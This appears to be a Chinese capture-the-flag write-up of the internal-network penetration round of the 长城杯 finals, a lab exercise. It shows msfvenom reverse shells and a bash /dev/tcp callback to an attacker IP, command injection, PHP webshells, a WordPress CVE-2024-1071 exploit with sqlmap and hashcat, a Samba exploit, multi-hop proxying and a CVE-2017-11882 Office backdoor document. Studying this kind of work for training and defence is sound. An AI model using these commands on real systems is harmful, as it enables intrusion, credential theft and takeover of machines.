小白对渗透的初尝试
长城杯决赛内网渗透部分
简单网络拓扑
准备工作
信息收集
由于是内网渗透,前面拿靶机权限的过程略过。我们现在已经拿到了靶机的root权限,但是内网还有几个web服务没打。
查看日志文件
发现172.25.0.0的网段。传fscan扫一下有哪些ip
1 | root@photosite:/tmp# ./fscan -h 172.25.0.1/24 |
MSF配合proxychains配置代理
uname -a
1 | Linux photosite 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux |
生成马
1 | msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.203.87 LPORT=2333 -f elf > shell.elf |
弹shell
1 | msfconsole |
靶机执行shell.elf。
成功弹shell
设置机器代理
1 | run autoroute -s 172.25.0.0/24 |
配置socks代理
1 | background |
修改配置文件:
1 | vim /etc/proxychains.conf |
这样就上线成功,访问到202.0.2.32的内网172.25.0.2的机器。
videosite
IP:172.25.0.2
配置bp代理。
抓包看看情况
看一下后是
1 | yt_utl=https://www.youtube.com/watch?v=1 |
分析响应包,估计是curl 下载www.youtube.com的视频
我们||同时执行两条命令。成功执行。成功
拿webshell的flag,这里过滤了空格,我们随便绕一下。
1 | flag10{573dca8802b944a54838269f04b80958} |
我们生成一个php反弹shell的马
1 | msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.203.87 lport=2345 -f raw > exp.php |
起一个web服务
1 | python3 -m http.server 8888 |
172.25.0.2下载php马
wget%09http://192.168.203.87:8888/exp.php
msf监听
1 | proxychains msfconsole |
访问木马触发。这是172.25.0.2的机器信息。
1 | meterpreter > sysinfo |
发现clean.sh是www-data用户可写的。并且它是root执行的。我们修改一下这个文件。
1 | echo -n 'bash -i >& /dev/tcp/192.168.203.87/9999 0>&1' >clean.sh |
1 | flag11{2455ed88a0fc5051923ecb918d825474} |
这台机子就打完了。
Wordpress
IP:172.25.0.7
可以看到这是个wordpress框架的服务。
1 | proxychains firefox |
那还想什么,赶紧用wpscan开扫
使用CVE-2024-1071的exp拿到sql语句
1 | proxychains python3 exploiot.py http://172.25.0.7 |
1 | proxychains sqlmap -u http://172.25.0.7/wp-admin/admin-ajax.php --method POST --data "action=um_get_members&nonce=a5ffeb8552&directory_id=b9238&sorting=user_login" --dbms mysql --technique=T -p sorting |
用sqlmap拿到密码的哈希
1 | $P$Bf4lC73BWrTvg6Zhp3ISWpqetY1NWm0 |
hashcat爆破
1 | hashcat -m 400 hash.txt rockyou.txt |
账号密码
1 | admin |
wp后台文章中拿到flag18
1 | flag18{ba248c985ace94863880921d8900c53f} |
但是这个插件的php不能访问,会报403。我们把后台另一个插件关闭,这样之后去修改另一个插件的php代码,用蚁剑连接。
1 | http://172.25.0.7/wp-content/plugins/hello.php |
蚁剑连接。
web目录找到flag19
1 | flag19{a8cb6b851521c5de909cff763202d030} |
下一个flag是数据库中的。
拿到数据库信息。
1 | WORDPRESS_DB_USER=wordpress |
蚁剑的终端是虚拟终端,进行不了数据库操作。所以我们弹个shell到202.0.2.32上。
1 | mysql -h172.18.0.2 -uwordpress -pwordpress -e "use wordpress;show tables;" |
估计得root才能拿到flag了。
上传了一个adminer.php具体翻翻每个表。仍然没有。那肯定就是得root才能看到了
我这里就不展示了,其实是提权没成功😭😭😭。
samba
ip:172.25.0.100
发现flag12
1 | flag12{76e24b847fdf0208195fffba98731234} |
发现另一个ip:http://192.168.1.5:8888/CalcService/以及flag14
1 | flag14{8f552743a81f9bc517a35a5421e76764} |
接下来对ip进行深度扫描
1 | proxychains nmap -Pn -sT 172.25.0.100 |
发现139端口。
看看有什么服务。
1 | proxychains nmap -sV -Pn -sT 172.25.0.100 -p139 |
发现是一个samba服务
直接用Nday打
1 | proxychains msfconsole |
成功拿到shell。
1 | [*] Found shell. |
flag13
1 | flag13{1c2421cd903b4fe3cf6cbd3900a7d786} |
ip:172.25.0.100:8080
这就是之前提到的view.py里面的add函数实现的功能。无flag。
office
ip:192.168.1.5
通过Venom实现多层代理
刚刚提到了setting.py里面有一个192.168.1.5的ip。它是172.25.0.100的内网。所以我们要实现两层代理。
拿到172.25.0.100的shell之后,在web目录写马上去。
echo -n "<?php eval(\$_POST['a']);phpinfo();?>" | tee -a a.php
。发现此机器没有php环境。所以写的马没有用。那我们只能采用新的方法来传我们的文件来实现多层代理了。
这里详细讲述一下多层代理过程
一层代理
202.0.2.3(靶机)
1 | root@photosite:/# ./agent_linux_x86 -lport 9900 |
kali
1 | ┌──(root㉿kali)-[~/桌面/tools/Venom v1.1.0] |
此时/etc/proxychains.conf的文件内容为
1 | [ProxyList] |
这样kali就可以访问202.0.2.32下的内网172.25.0.100
二层代理
kali1(拿到172.25.0.100的shell)
1 | ┌──(root㉿kali)-[~/CVE-2024-1071-main] |
kali2(kali再启动一个web服务)
1 | ┌──(root㉿kali)-[~/桌面/tools/Venom v1.1.0] |
kali1(控制172.25.0.100中)
1 | wget http://192.168.203.87:8888/agent_linux_x86 |
kali(vennom:admin端)
1 | (node 1) >>> listen 9899 |
kali1
1 | ./agent_linux_x86 -rhost 202.0.2.32 -rport 9899 |
kali
1 | (node 1) >>> show |
修改/etc/proxychains.conf
1 | [ProxyList] |
现在成功访问到172.25.0.100的内网192.168.1.5
攻击
上传php,没有用。根据提示上传txt拿到flag15
1 | flag15{275c589c83e6f1373c823f8c015d659b} |
题目说会有人员审核,那肯定有人打开文件。利用office的漏洞,制作一个后门文件。
CVE-2017-11882
1 | msfconsole |
再开启本地监听。
1 | use exploit/multi/handler |
上传文件后,发现成功拿到shell。
getuid看到是管理员权限。
c盘下的phpstudy\www目录,也就是web目录下发现flag16
1 | flag16{3d207c96ba2abe5c6a79397857935d9f} |
并且在c盘根目录发现flag。但是权限不够。所以我们需要提权到system权限才能读到flag。
1 | meterpreter > cat flag.txt |
直接利用MSF的getsystem拿到system权限
1
2
3
4
5
6
7
8
9
10
11
12
13 meterpreter > getsystem
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
meterpreter > getuid
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Server username: NT AUTHORITY\SYSTEM
拿到flag17
1 | flag17{7ebb1a27655a89ef55903c5870ec7710} |
或者利用ms15-077提权到system。这里就不展示了。
到这里,整个内网也就结束了。